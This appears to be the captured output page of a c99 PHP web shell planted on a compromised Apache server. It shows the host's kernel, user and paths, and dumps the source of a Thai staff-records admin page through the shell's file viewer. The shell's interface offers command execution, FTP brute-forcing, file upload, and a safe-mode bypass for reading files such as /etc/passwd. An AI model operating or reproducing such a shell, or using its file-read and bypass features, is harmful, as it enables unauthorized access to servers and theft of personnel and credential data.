!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/eoffice_b/eperson/admin/   drwxr-xr-x
Free 50.95 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     editPsInfo.php (9.88 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once "template.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../link/function.php";
include_once 
"../class/clsUmuser.php";
include_once 
"../class/clsadmin.php";
include_once 
"../class/clshire.php";


$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EPERSON'], $GLOBALS['DBUSER_EPERSON'], $GLOBALS['DBPASS_EPERSON']);
$oUs = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_UMS'], $GLOBALS['DBUSER_UMS'], $GLOBALS['DBPASS_UMS']);




$oDP = new Department($oC);
$oDP2 = new Department($oC);
$oDP3 = new Department($oC);
$oPs = new Person($oC);
$oUms= new umuser($oUs);
$oUms2= new umuser($oUs);
$oAd = new admin($oC);
$oHr = new hire($oC);


include_once 
"checkDocPerson.php";
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
</head>
<body>
<iframe id="editInfo" name="editInfo" src="" style="width:$0px;height:0px;border:0"></iframe>
<br>
<table  width=703  align="center">
<tr><td height="150">
<fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="?mm=1">ข้อมูลบุคลากร</a>
      <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle"><a href="updatePerson.php">ค้นหาข้อมูลบุคลากร</a>
      <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">แก้ไขข้อมูลบุคลากร
      </font></legend>
     <form name="ff" action="processEditPsInfo.php" method="post" target="editInfo"><? //?>
     <? $oPs->SearchByKey($ps);
             
$oPs->GetRecord();
    
?>
    <br>
            <table width="95%" height="22" border="0" align="center"><tr>
       <? if($s=="1"){ ?>
       <td width="46%" align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>" size="2"><strong>    
           แก้ไขข้อมูลบุคลากรเรียบร้อยแล้ว</strong></font></td></tr>
        <? ?></table><br>
        <table width="90%" border="0" align="center" cellpadding="0" cellspacing="1" bordercolor="#DADADA" style="border-collapse:collapse" >
                 <tr ><td width="33%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" height="25">&nbsp;&nbsp;<strong>Username</strong></td>
              <td width="2%" align="center"><strong>:</strong></td>
                <td >&nbsp;<?  $oUms->SearchByUsPsCode($ps);
                                
$oUms->GetRecord(); 
                                echo  
$oUms->UsLogin
                        
?>
                </td>
      </tr>
       <tr ><td width="33%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" height="25">&nbsp;&nbsp;<strong>รหัสผ่าน</strong></td>
              <td width="2%" align="center"><strong>:</strong></td>
                <td ><input type="password" name="UsPassword"  size="30" maxlength="20" value="PaSsWoRd"></td>
      </tr>
            <tr ><td width="33%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" height="25">&nbsp;&nbsp;<strong>ยืนยันรหัสผ่าน</strong></td>
              <td width="2%" align="center"><strong>:</strong></td>
                <td ><input type="password" name="ConfirmPassword"  size="30" maxlength="20" value="PaSsWoRd">
                </td>
      </tr>    <input type="hidden" name="oldMd5UsPassword" value="<? echo $oUms->UsPassword?>">
      <tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr>
        <tr ><td width="33%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" height="25">&nbsp;&nbsp;<strong>คำนำหน้าชื่อ</strong></td>
              <td width="2%" align="center"><strong>:</strong></td>
                <td width="65%" ><select name="prefixId">
                <option value="">--เลือกคำนำหน้าชื่อ--</option>
                    <option value="1" <? if($oPs->prefixId=="1"){   echo "selected";} ?>>นาย</option>
                    <option value="2" <? if($oPs->prefixId=="2"){   echo "selected";}?>>นางสาว</option>
                    <option value="3" <? if($oPs->prefixId=="3"){   echo "selected";}?>>นาง</option>
                  </select>
                   <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font>
                  </td>
      </tr>
          <tr ><td width="33%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" height="25">&nbsp;&nbsp;<strong>ชื่อ - นามสกุล</strong></td>
              <td width="2%" align="center"><strong>:</strong></td>
                <td ><input name="fName" type="text" value="<? echo $oPs->fName;?>" size="15" maxlength="60">
                 <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font>
                <input name="lName" type="text" maxlength="60" size="20" value="<? echo $oPs->lName;?>">
                 <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font>
                </td>
      </tr>
      
           <tr ><td width="33%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" height="25">&nbsp;&nbsp;<strong>สังกัด หน่วย/กอง/ฝ่าย</strong></td>
              <td width="2%" align="center"><strong>:</strong></td>
                <td width="65%"><select name="deptId">
                <option value="">--เลือกหน่วยงาน--</option>
                      <? $oDP->RSDeptByMaxdeptDate2();
                            while(
$oDP->GetRecord()){?>
                      <option value="<? echo $oDP->deptId;?><? if($oDP->deptId==$oPs->deptId){   echo "selected";  }?>><? echo $oDP->deptName?></option>
                      <? ?>
                    </select><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font>
                    </td>
      </tr>
    
      <tr ><td width="33%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" height="25">&nbsp;&nbsp;<strong>ประเภทบุคลากร</strong></td>
              <td width="2%" align="center"><strong>:</strong></td>
                <td > 
                  <select name="hireId">
                  <option value="">--เลือกประเภทบุคลากร--</option>
                      <? $oHr->RShire();
                            while(
$oHr->GetRecord()){?>
                      <option value="<? echo $oHr->hireId;?><? if($oHr->hireId==$oPs->hireId){   echo "selected";  }?>><? echo $oHr->hireName?></option>
                      <? ?>
                    </select>
                     <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font>
                </td>
      </tr>
      <tr ><td width="33%" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>" height="25">&nbsp;&nbsp;<strong>สถานะการปฏิบัติงาน</strong></td>
              <td width="2%" align="center"><strong>:</strong></td>
                <td > 
                  <select name="fStatus">
                  <option value="">--เลือกสถานะการปฏิบัติงาน--</option>
                      <option value="1" <? if($oPs->fStatus==1){   echo "selected";  }?>>อยู่ปฏิบัติงาน</option>
                        <option value="0" <? if($oPs->fStatus==0){   echo "selected";  }?>>ไม่อยู่ปฏิบัติงาน</option>
                    </select>
                     <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font>
                </td>
      </tr>
        <tr ><td width="33%"  height="25" bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_1"]; ?>">&nbsp;&nbsp;<strong>ตำแหน่งในการเรียงลำดับ</strong></td>
              <td width="2%" align="center"><strong>:</strong></td>
                
            <td > 
            </td>
      </tr>
      <tr><td colspan="3" >&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<select name="adminId">
                        <option value="">--เลือกตำแหน่งในการเรียงลำดับ--</option>
                      <? $oAd->RSadmin();
                            while(
$oAd->GetRecord()){?>
                      <option value="<? echo $oAd->adminId;?><? if($oAd->adminId==$oPs->adminId){   echo "selected";  }?>><? echo $oAd->adminName?></option>
                      <? ?>
                    </select>
                     <font size="2" color="<?php echo $GLOBALS['COLOR_FONT_3'];?>">*</font>
                    </td></tr>
                    <tr><td colspan="3" height="25" align="right"><br><input type="submit" name="jj" value=" ลบข้อมูลบุคลากร " onClick="return checkFormat2();" <?  if($checkdoc!='0'){ echo 'disabled'; } ?>></td></tr>    
</table><br>
         <table border="0" align="center" width="90%"><tr>
                <td align="center"><input type="submit" name="jj" value="บันทึกข้อมูลบุคลากร" onClick="return checkFormat();"> 
                 <input type="reset" name="clear" value="เคลียร์ข้อมูล">
                  <input type="button" name="cancel" value="กลับหน้าหลัก" onClick="location.href = '?mm=1'">
                  <input type="hidden" name="ps" value="<? echo $ps?>" >
                  <input type="hidden" name="name" value="<? echo $name?>" >
                  <input type="hidden" name="method">
                  
        </td></tr></table>    
    </form>
</fieldset>
 <br><br>
<br><br> <br><br>
</td>
</tr>
</table>
</body>
</html>

<script language="javascript">
function checkFormat(){
        document.ff.method.value='editinfo';
        if (document.ff.UsPassword.value!=document.ff.ConfirmPassword.value){
        alert('รหัสผ่านไม่เหมือนกัน');
        document.ff.UsPassword.focus();
                return false;
    }
        if(document.ff.prefixId.value == ""){
                alert("กรุณาเลือกคำนำหน้าชื่อ");
                document.ff.prefixId.focus();
                return false;
        }    
        if(document.ff.fName.value == ""){
                alert("กรุณากรอกชื่อ");
                document.ff.fName.focus();
                return false;
        }
        if(document.ff.lName.value == ""){
                alert("กรุณากรอกนามสกุล");
                document.ff.lName.focus();
                return false;
        }
        
        if(document.ff.deptId.value == ""){
                alert("กรุณาเลือกหน่วยงาน");
                document.ff.deptId.focus();
                return false;
        }
        if(document.ff.adminId.value == ""){
                alert("กรุณาืเลือกตำแหน่งในการเรียงลำดับ");
                document.ff.adminId.focus();
                return false;
        }
        if(document.ff.hireId.value == ""){
                alert("กรุณาเลือกประเภทบุคลากร");
                document.ff.hireId.focus();
                return false;
        }
        if(document.ff.fStatus.value == ""){
                alert("กรุณาเลือกสถานะการปฏิบัติงาน");
                document.ff.fStatus.focus();
                return false;
        }
        var agree=confirm("คุณต้องการแก้ไขข้อมูลบุคลากรใช่หรือไม่ ?");
        if (agree){
            return true ;
        }else{
            return false ;
        }    
}
function checkFormat2(){
        window.alert("หมายเหตุ :: การลบข้อมูลบุคลากรนี้ จะเป็นการลบข้อมูลบุคลากรออกจากฐานข้อมูล");
        var agree=confirm("คุณต้องการลบข้อมูลบุคลากรใช่หรือไม่ ?");
        if (agree){
            document.ff.method.value='delps';
            return true ;
        }else{
            return false ;
        }
}
</script>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0173 ]--